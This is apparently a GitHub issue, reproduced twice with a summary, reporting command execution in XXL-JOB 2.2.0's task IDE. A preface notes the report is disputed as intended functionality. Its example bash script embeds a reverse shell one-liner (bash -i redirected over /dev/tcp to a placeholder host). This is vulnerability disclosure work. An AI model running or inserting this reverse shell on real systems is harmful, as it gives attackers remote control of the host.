XXL-JOB 2.2.0 has a Command execution vulnerability in background tasks. NOTE: this is disputed because the issues/4929 report is about an intended and supported use case (running arbitrary Bash scripts on behalf of users).
后台任务存在命令执行漏洞

### Which version of XXL-JOB do you using?
XXL-JOB 2.2.0  
--- 

### 利用流程
#### 新建任务
<img width="899" alt="截屏2022-09-13 下午7 26 54" src="https://user-images.githubusercontent.com/72059221/189889779-75d361a8-0edf-4c24-803d-8cbd40709df2.png">

#### 选择IDE 编辑
<img width="148" alt="截屏2022-09-13 下午7 27 05" src="https://user-images.githubusercontent.com/72059221/189889860-b59e2d0e-6770-406f-869d-935c72d6e088.png">

#### 反弹shell

<img width="785" alt="截屏2022-09-13 下午7 27 38" src="https://user-images.githubusercontent.com/72059221/189889890-3c485fd7-b2ea-4eeb-841e-79309d8a2840.png">

#### Code. 
```
#!/bin/bash
echo "xxl-job: hello shell"

echo "脚本位置：$0"
echo "任务参数：$1"
echo "分片序号 = $2"
echo "分片总数 = $3"

echo "`bash -c 'exec bash -i &>/dev/tcp/xx.xx.xx.xx/15326 <&1'`"
echo "Good bye!"
exit 0
```

后台任务存在命令执行漏洞
This is a GitHub Issue
repo:xxl-job
owner:xuxueli
Title : 后台任务存在命令执行漏洞
Issue date:

--- start body ---
后台任务存在命令执行漏洞

### Which version of XXL-JOB do you using?
XXL-JOB 2.2.0  
--- 

### 利用流程
#### 新建任务
<img width="899" alt="截屏2022-09-13 下午7 26 54" src="https://user-images.githubusercontent.com/72059221/189889779-75d361a8-0edf-4c24-803d-8cbd40709df2.png">

#### 选择IDE 编辑
<img width="148" alt="截屏2022-09-13 下午7 27 05" src="https://user-images.githubusercontent.com/72059221/189889860-b59e2d0e-6770-406f-869d-935c72d6e088.png">

#### 反弹shell

<img width="785" alt="截屏2022-09-13 下午7 27 38" src="https://user-images.githubusercontent.com/72059221/189889890-3c485fd7-b2ea-4eeb-841e-79309d8a2840.png">

#### Code. 
```
#!/bin/bash
echo "xxl-job: hello shell"

echo "脚本位置：$0"
echo "任务参数：$1"
echo "分片序号 = $2"
echo "分片总数 = $3"

echo "`bash -c 'exec bash -i &>/dev/tcp/xx.xx.xx.xx/15326 <&1'`"
echo "Good bye!"
exit 0
```

--- end body ---

The issue describes a command execution vulnerability in XXL-JOB version 2.2.0, where an attacker can create a task that executes arbitrary shell commands, potentially allowing for remote code execution. The provided code snippet demonstrates how an attacker could set up a reverse shell, indicating a serious security risk.